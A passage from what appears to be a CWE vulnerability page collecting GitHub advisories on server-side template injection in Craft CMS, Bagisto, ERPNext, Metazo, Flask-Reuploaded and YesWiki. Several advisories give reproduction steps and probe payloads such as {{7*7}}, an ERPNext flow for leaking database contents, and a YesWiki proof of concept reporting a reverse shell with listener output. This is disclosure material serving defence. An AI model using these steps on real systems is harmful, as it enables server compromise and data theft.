setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.\n\nExisting projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.\n\n## Resources\n\nhttps://github.com/craftcms/cms/pull/18208",
"id": "GHSA-5fvc-7894-ghp4",
"modified": "2026-03-04T18:39:13Z",
"published": "2026-03-03T21:01:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-5fvc-7894-ghp4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28783"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18208"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS has Twig Function Blocklist Bypass"
}
GHSA-5J4H-4F72-QPM6
Vulnerability from github – Published: 2026-01-02 22:13 – Updated: 2026-01-08 21:35Summary
SSTI when normal customer orders any product in add address step can inject value run in admin view.
Details
As normal user
1. Go to http://127.0.0.1:8000/
2. Add order to cart and continue to checkout
3. In step of add address inject this value {{7*7}} in any input
As admin
1. Go to http://127.0.0.1:8000/admin/sales/orders
2. And notice the vlaue appear in admin view 49
As normal user
3. Go to add address normally http://127.0.0.1:8000/customer/account/addresses/create and inject {{7*7}} on it and will notice it appear 49
PoC
- Video attached with the report: https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d
Impact
- Can lead to RCE
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "bagisto/bagisto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21448"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-02T22:13:40Z",
"nvd_published_at": "2026-01-02T21:15:59Z",
"severity": "HIGH"
},
"details": "### Summary\nSSTI when normal customer orders any product in add address step can inject value run in admin view.\n### Details\n`As normal user`\n1. Go to `http://127.0.0.1:8000/`\n2. Add order to cart and continue to checkout \n3. In step of add address inject this value {{7*7}} in any input\n\n`As admin`\n1. Go to `http://127.0.0.1:8000/admin/sales/orders`\n2. And notice the vlaue appear in admin view 49\n\n`As normal user`\n3. Go to add address normally `http://127.0.0.1:8000/customer/account/addresses/create` and inject {{7*7}} on it and will notice it appear 49\n\u003cimg width=\"1868\" height=\"868\" alt=\"image\" src=\"https://github.com/user-attachments/assets/279627e9-6361-4d39-a500-0fc20e163d25\" /\u003e\n\n\n### PoC\n - Video attached with the report: https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d\n\n\n### Impact\n- Can lead to RCE",
"id": "GHSA-5j4h-4f72-qpm6",
"modified": "2026-01-08T21:35:56Z",
"published": "2026-01-02T22:13:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-5j4h-4f72-qpm6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21448"
},
{
"type": "PACKAGE",
"url": "https://github.com/bagisto/bagisto"
},
{
"type": "WEB",
"url": "https://github.com/bagisto/bagisto/releases/tag/v2.3.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Bagisto has Normal \u0026 Blind SSTI from low-privilege user when ordering product"
}
GHSA-5X94-7MHW-9FF6
Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 15:30A Server-Side Template Injection (SSTI) vulnerability exists in the Frappe ERPNext through 15.89.0 Print Format rendering mechanism. Specifically, the API frappe.www.printview.get_html_and_style() triggers the rendering of the html field inside a Print Format document using frappe.render_template(template, doc) via the get_rendered_template() call chain. Although ERPNext wraps Jinja2 in a SandboxedEnvironment, it exposes sensitive functions such as frappe.db.sql through get_safe_globals(). An authenticated attacker with permission to create or modify a Print Format can inject arbitrary Jinja expressions into the html field. Once the malicious Print Format is saved, the attacker can call get_html_and_style() with a target document (e.g., Supplier or Sales Invoice) to trigger the render process. This leads to information disclosure from the database, such as database version, schema details, or sensitive values, depending on the injected payload. Exploitation flow: Create a Print Format with SSTI payload in the html field; call the get_html_and_style() API; triggers frappe.render_template(template, doc) inside get_rendered_template(); leaks database information via frappe.db.sql or other exposed globals.
{
"affected": [],
"aliases": [
"CVE-2025-66438"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-15T18:15:48Z",
"severity": "CRITICAL"
},
"details": "A Server-Side Template Injection (SSTI) vulnerability exists in the Frappe ERPNext through 15.89.0 Print Format rendering mechanism. Specifically, the API frappe.www.printview.get_html_and_style() triggers the rendering of the html field inside a Print Format document using frappe.render_template(template, doc) via the get_rendered_template() call chain. Although ERPNext wraps Jinja2 in a SandboxedEnvironment, it exposes sensitive functions such as frappe.db.sql through get_safe_globals(). An authenticated attacker with permission to create or modify a Print Format can inject arbitrary Jinja expressions into the html field. Once the malicious Print Format is saved, the attacker can call get_html_and_style() with a target document (e.g., Supplier or Sales Invoice) to trigger the render process. This leads to information disclosure from the database, such as database version, schema details, or sensitive values, depending on the injected payload. Exploitation flow: Create a Print Format with SSTI payload in the html field; call the get_html_and_style() API; triggers frappe.render_template(template, doc) inside get_rendered_template(); leaks database information via frappe.db.sql or other exposed globals.",
"id": "GHSA-5x94-7mhw-9ff6",
"modified": "2025-12-16T15:30:32Z",
"published": "2025-12-15T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66438"
},
{
"type": "WEB",
"url": "https://iamanc.github.io/post/erpnext-ssti-bug-5"
},
{
"type": "WEB",
"url": "https://www.notion.so/SSTI-bug-5-239e6086eadc80a48f17c1257a604d2c?source=copy_link"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-65HW-C9G5-R8MM
Vulnerability from github – Published: 2025-04-28 15:31 – Updated: 2025-04-28 15:31IPW Systems Metazo through 8.1.3 allows unauthenticated Remote Code Execution because smartyValidator.php enables the attacker to provide template expressions, aka Server-Side Template-Injection. All instances have been patched by the Supplier.
{
"affected": [],
"aliases": [
"CVE-2025-46661"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-28T13:15:24Z",
"severity": "CRITICAL"
},
"details": "IPW Systems Metazo through 8.1.3 allows unauthenticated Remote Code Execution because smartyValidator.php enables the attacker to provide template expressions, aka Server-Side Template-Injection. All instances have been patched by the Supplier.",
"id": "GHSA-65hw-c9g5-r8mm",
"modified": "2025-04-28T15:31:41Z",
"published": "2025-04-28T15:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46661"
},
{
"type": "WEB",
"url": "https://code-white.com/public-vulnerability-list"
},
{
"type": "WEB",
"url": "https://www.ipwsystems.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-65MP-FQ8V-56JR
Vulnerability from github – Published: 2026-02-25 19:06 – Updated: 2026-02-25 19:06Impact
A critical path traversal and extension bypass vulnerability in Flask-Reuploaded allows remote attackers to achieve arbitrary file write and remote code execution through Server-Side Template Injection (SSTI).
Patches
Flask-Reuploaded has been patched in version 1.5.0
Workarounds
- Do not pass user input to the
nameparameter - Use auto-generated filenames only
- Implement strict input validation if
namemust be used
from werkzeug.utils import secure_filename
import os
# Sanitize user input before passing to save()
safe_name = secure_filename(request.form.get('custom_name'))
# Remove path separators
safe_name = os.path.basename(safe_name)
# Validate extension matches policy
if not photos.extension_allowed(photos.get_extension(safe_name)):
abort(400)
filename = photos.save(file, name=safe_name)
Resources
The fix is documented in the pull request, see https://github.com/jugmac00/flask-reuploaded/pull/180.
A proper write-up was created by the reporter of the vulnerability, Jaron Cabral (https://www.linkedin.com/in/jaron-cabral-751994357/), but is not yet available as of time of this publication.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flask-reuploaded"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27641"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T19:06:50Z",
"nvd_published_at": "2026-02-25T04:16:04Z",
"severity": "CRITICAL"
},
"details": "### Impact\nA critical path traversal and extension bypass vulnerability in Flask-Reuploaded allows remote attackers to achieve arbitrary file write and remote code execution through Server-Side Template Injection (SSTI).\n\n### Patches\nFlask-Reuploaded has been patched in version 1.5.0\n\n### Workarounds\n\n1. **Do not pass user input to the `name` parameter**\n2. Use auto-generated filenames only\n3. Implement strict input validation if `name` must be used\n\n```python\nfrom werkzeug.utils import secure_filename\nimport os\n\n# Sanitize user input before passing to save()\nsafe_name = secure_filename(request.form.get(\u0027custom_name\u0027))\n# Remove path separators\nsafe_name = os.path.basename(safe_name)\n# Validate extension matches policy\nif not photos.extension_allowed(photos.get_extension(safe_name)):\n abort(400)\n \nfilename = photos.save(file, name=safe_name)\n```\n\n### Resources\nThe fix is documented in the pull request, see https://github.com/jugmac00/flask-reuploaded/pull/180.\n\nA proper write-up was created by the reporter of the vulnerability, Jaron Cabral (https://www.linkedin.com/in/jaron-cabral-751994357/), but is not yet available as of time of this publication.",
"id": "GHSA-65mp-fq8v-56jr",
"modified": "2026-02-25T19:06:50Z",
"published": "2026-02-25T19:06:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-65mp-fq8v-56jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27641"
},
{
"type": "WEB",
"url": "https://github.com/jugmac00/flask-reuploaded/pull/180"
},
{
"type": "WEB",
"url": "https://github.com/jugmac00/flask-reuploaded/commit/d64c6b2f71cb73734fc38baa0e3e156926361288"
},
{
"type": "PACKAGE",
"url": "https://github.com/jugmac00/flask-reuploaded"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flask-Reuploaded vulnerable to Remote Code Execution via Server-Side Template Injection"
}
GHSA-65P8-9433-JPCP
Vulnerability from github – Published: 2026-07-09 20:54 – Updated: 2026-07-09 20:54Summary
YesWiki Bazar contains a stored Server-Side Template Injection (SSTI) vulnerability in the semantic template feature that can be escalated to confirmed Remote Code Execution (RCE). An authenticated administrator can place arbitrary Twig expressions into the Semantic template (Twig) field (bn_sem_template), and that content is later executed server-side when public semantic endpoints are requested.
This was first confirmed through a harmless proof payload where {{ 7 * 7 }} was rendered as 49 through the public JSON-LD endpoint. The finding was then further validated locally by storing a Twig payload that invoked a system-level callable, resulting in command execution and an interactive shell on the test machine.
Because the payload is stored in the form configuration and later triggered through a public endpoint, this issue is both persistent and remotely triggerable after an administrator plants the malicious template.
Details
The vulnerable behavior is in the Bazar semantic rendering flow.
The administrator-editable fields:
bn_sem_templatebn_sem_reverse_template
allow Twig template content to be stored inside a form definition. That content is later rendered by the backend semantic transformer through TemplateEngine::renderFromStringNoEscape(), which passes the user-controlled string into Twig for execution.
Relevant sink:
$json = $this->templateEngine->renderFromStringNoEscape($form['bn_sem_template'], $data);
The rendering helper evaluates the supplied string as a live Twig template:
public function renderFromStringNoEscape(string $templateString, array $data = []): string
{
$wrapped = '{% autoescape false %}' . $templateString . '{% endautoescape %}';
return $this->twig->createTemplate($wrapped)->render($data);
}
This is unsafe because administrator-controlled semantic template text is executed as server-side Twig code rather than treated as inert data. In the validated environment, Twig expressions were first confirmed to execute through a harmless arithmetic payload and were then escalated to operating-system-level command execution by invoking a callable through Twig.
The public trigger path used during validation was:
GET /api/forms/2/entries/json-ld
The attack chain is:
- An administrator stores malicious Twig code in the semantic template field.
- YesWiki saves that payload in the form configuration.
- A later request to the public semantic endpoint causes the backend to render and execute the stored Twig.
- Because the Twig environment is not adequately constrained, the stored payload can escalate from template execution to system command execution.
PoC
The following steps reproduce the issue on the locally validated YesWiki instance.
Stage 1: Confirm Server-Side Template Execution
- Log in to YesWiki as an administrator.
- Open Bazar form management.
- Edit form ID
2(Agendain the validated instance). - Locate the field labeled
Semantic template (Twig). - Replace its content with the following harmless payload:
{"proof":"{{ 7 * 7 }}"}
- Save the form.
- Trigger the public semantic endpoint:
curl -s 'https://target.example/?api/forms/2/entries/json-ld'
- Observe that the server returns evaluated Twig output instead of the literal string
{{ 7 * 7 }}.
Confirmed response:
{"@context":null,"@id":"https:\/\/target.example\/?api\/fiche\/2","@type":["ldp:Container","ldp:BasicContainer"],"dcterms:title":"Agenda","ldp:contains":[{"proof":"49","id":"https:\/\/target.example\/?TesT2"},{"proof":"49","id":"https:\/\/target.example\/?Bordeaux"}]}
Key execution proof:
"proof":"49"
Stage 2: Confirm Remote Code Execution
After confirming SSTI with the harmless payload above, a second locally controlled payload was stored in the same semantic template field to test whether Twig execution could be escalated to command execution. When the public semantic endpoint was requested, the payload executed on the server and established an interactive shell back to the test listener.
Observed local evidence included:
- an inbound connection to the attacker's listener
- an interactive shell prompt on the YesWiki host
- successful command execution from the shell inside the YesWiki project directory
Observed shell output:
Connection received on 172.31.60.19 60308
khizar@Victus:/mnt/c/Users/khiza/Documents/Codex/2026-05-24/i-am-trying-to-make-a/yeswiki-src$ ls
INSTALL.md
LICENSE
Makefile
README.md
SECURITY.md
actions
cache
codex-admin-login.php
composer.json
composer.lock
custom
docker
docs
files
formatters
handlers
includes
index.php
interwiki.conf
javascripts
lang
package.json
private
robots.txt
setup
styles
templates
tests
themes
tools
vendor
wakka.config.php
wakka.php
yeswicli
This confirms that the issue is not limited to template evaluation or data disclosure. In the validated local environment, the stored Twig payload reached full operating-system-level command execution.
Impact
An authenticated administrator can inject arbitrary Twig expressions into Bazar semantic templates, and those expressions are executed server-side when public semantic endpoints are requested.
In the validated environment, this leads to confirmed Remote Code Execution. An attacker with administrator access can:
- execute arbitrary Twig expressions on the server
- store a persistent payload in form configuration
- have that payload triggered later by unauthenticated requests to public semantic endpoints
- execute operating-system commands on the host
- gain interactive shell access to the underlying server
- pivot from application-level administration to full server compromise
This breaks the expected trust boundary between application administration and host-level execution. In practical terms, YesWiki administrator privileges become sufficient to obtain command execution on the server in affected deployments.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52762"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T20:54:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nYesWiki Bazar contains a stored Server-Side Template Injection (`SSTI`) vulnerability in the semantic template feature that can be escalated to confirmed Remote Code Execution (`RCE`). An authenticated administrator can place arbitrary Twig expressions into the `Semantic template (Twig)` field (`bn_sem_template`), and that content is later executed server-side when public semantic endpoints are requested.\n\nThis was first confirmed through a harmless proof payload where `{{ 7 * 7 }}` was rendered as `49` through the public JSON-LD endpoint. The finding was then further validated locally by storing a Twig payload that invoked a system-level callable, resulting in command execution and an interactive shell on the test machine.\n\nBecause the payload is stored in the form configuration and later triggered through a public endpoint, this issue is both persistent and remotely triggerable after an administrator plants the malicious template.\n\n### Details\nThe vulnerable behavior is in the Bazar semantic rendering flow.\n\nThe administrator-editable fields:\n\n- `bn_sem_template`\n- `bn_sem_reverse_template`\n\nallow Twig template content to be stored inside a form definition. That content is later rendered by the backend semantic transformer through `TemplateEngine::renderFromStringNoEscape()`, which passes the user-controlled string into Twig for execution.\n\nRelevant sink:\n\n```php\n$json = $this-\u003etemplateEngine-\u003erenderFromStringNoEscape($form[\u0027bn_sem_template\u0027], $data);\n```\n\nThe rendering helper evaluates the supplied string as a live Twig template:\n\n```php\npublic function renderFromStringNoEscape(string $templateString, array $data = []): string\n{\n $wrapped = \u0027{% autoescape false %}\u0027 . $templateString . \u0027{% endautoescape %}\u0027;\n return $this-\u003etwig-\u003ecreateTemplate($wrapped)-\u003erender($data);\n}\n```\n\nThis is unsafe because administrator-controlled semantic template text is executed as server-side Twig code rather than treated as inert data. In the validated environment, Twig expressions were first confirmed to execute through a harmless arithmetic payload and were then escalated to operating-system-level command execution by invoking a callable through Twig.\n\nThe public trigger path used during validation was:\n\n```text\nGET /api/forms/2/entries/json-ld\n```\n\nThe attack chain is:\n\n1. An administrator stores malicious Twig code in the semantic template field.\n2. YesWiki saves that payload in the form configuration.\n3. A later request to the public semantic endpoint causes the backend to render and execute the stored Twig.\n4. Because the Twig environment is not adequately constrained, the stored payload can escalate from template execution to system command execution.\n\n### PoC\nThe following steps reproduce the issue on the locally validated YesWiki instance.\n\n### Stage 1: Confirm Server-Side Template Execution\n\n1. Log in to YesWiki as an administrator.\n2. Open Bazar form management.\n3. Edit form ID `2` (`Agenda` in the validated instance).\n4. Locate the field labeled `Semantic template (Twig)`.\n5. Replace its content with the following harmless payload:\n\n```json\n{\"proof\":\"{{ 7 * 7 }}\"}\n```\n\n6. Save the form.\n7. Trigger the public semantic endpoint:\n\n```bash\ncurl -s \u0027https://target.example/?api/forms/2/entries/json-ld\u0027\n```\n\n8. Observe that the server returns evaluated Twig output instead of the literal string `{{ 7 * 7 }}`.\n\nConfirmed response:\n\n```json\n{\"@context\":null,\"@id\":\"https:\\/\\/target.example\\/?api\\/fiche\\/2\",\"@type\":[\"ldp:Container\",\"ldp:BasicContainer\"],\"dcterms:title\":\"Agenda\",\"ldp:contains\":[{\"proof\":\"49\",\"id\":\"https:\\/\\/target.example\\/?TesT2\"},{\"proof\":\"49\",\"id\":\"https:\\/\\/target.example\\/?Bordeaux\"}]}\n```\n\nKey execution proof:\n\n```json\n\"proof\":\"49\"\n```\n\n### Stage 2: Confirm Remote Code Execution\n\nAfter confirming SSTI with the harmless payload above, a second locally controlled payload was stored in the same semantic template field to test whether Twig execution could be escalated to command execution. When the public semantic endpoint was requested, the payload executed on the server and established an interactive shell back to the test listener.\n\nObserved local evidence included:\n\n- an inbound connection to the attacker\u0027s listener\n- an interactive shell prompt on the YesWiki host\n- successful command execution from the shell inside the YesWiki project directory\n\nObserved shell output:\n\n```text\nConnection received on 172.31.60.19 60308\nkhizar@Victus:/mnt/c/Users/khiza/Documents/Codex/2026-05-24/i-am-trying-to-make-a/yeswiki-src$ ls\nINSTALL.md\nLICENSE\nMakefile\nREADME.md\nSECURITY.md\nactions\ncache\ncodex-admin-login.php\ncomposer.json\ncomposer.lock\ncustom\ndocker\ndocs\nfiles\nformatters\nhandlers\nincludes\nindex.php\ninterwiki.conf\njavascripts\nlang\npackage.json\nprivate\nrobots.txt\nsetup\nstyles\ntemplates\ntests\nthemes\ntools\nvendor\nwakka.config.php\nwakka.php\nyeswicli\n```\n\nThis confirms that the issue is not limited to template evaluation or data disclosure. In the validated local environment, the stored Twig payload reached full operating-system-level command execution.\n\n### Impact\nAn authenticated administrator can inject arbitrary Twig expressions into Bazar semantic templates, and those expressions are executed server-side when public semantic endpoints are requested.\n\nIn the validated environment, this leads to confirmed Remote Code Execution. An attacker with administrator access can:\n\n- execute arbitrary Twig expressions on the server\n- store a persistent payload in form configuration\n- have that payload triggered later by unauthenticated requests to public semantic endpoints\n- execute operating-system commands on the host\n- gain interactive shell access to the underlying server\n- pivot from application-level administration to full server compromise\n\nThis breaks the expected trust boundary between application administration and host-level execution. In practical terms, YesWiki administrator privileges become sufficient to obtain command execution on the server in affected deployments.",
"id": "GHSA-65p8-9433-jpcp",
"modified": "2026-07-09T20:54:23Z",
"published": "2026-07-09T20:54:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-65p8-9433-jpcp"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/89462f1577a8a1fe7fcff75e77b5058a74d8047b"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "YesWiki: Authenticated (Admin) Server-Side Template Injection to Remote Code Execution via Bazar Semantic Templates"
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.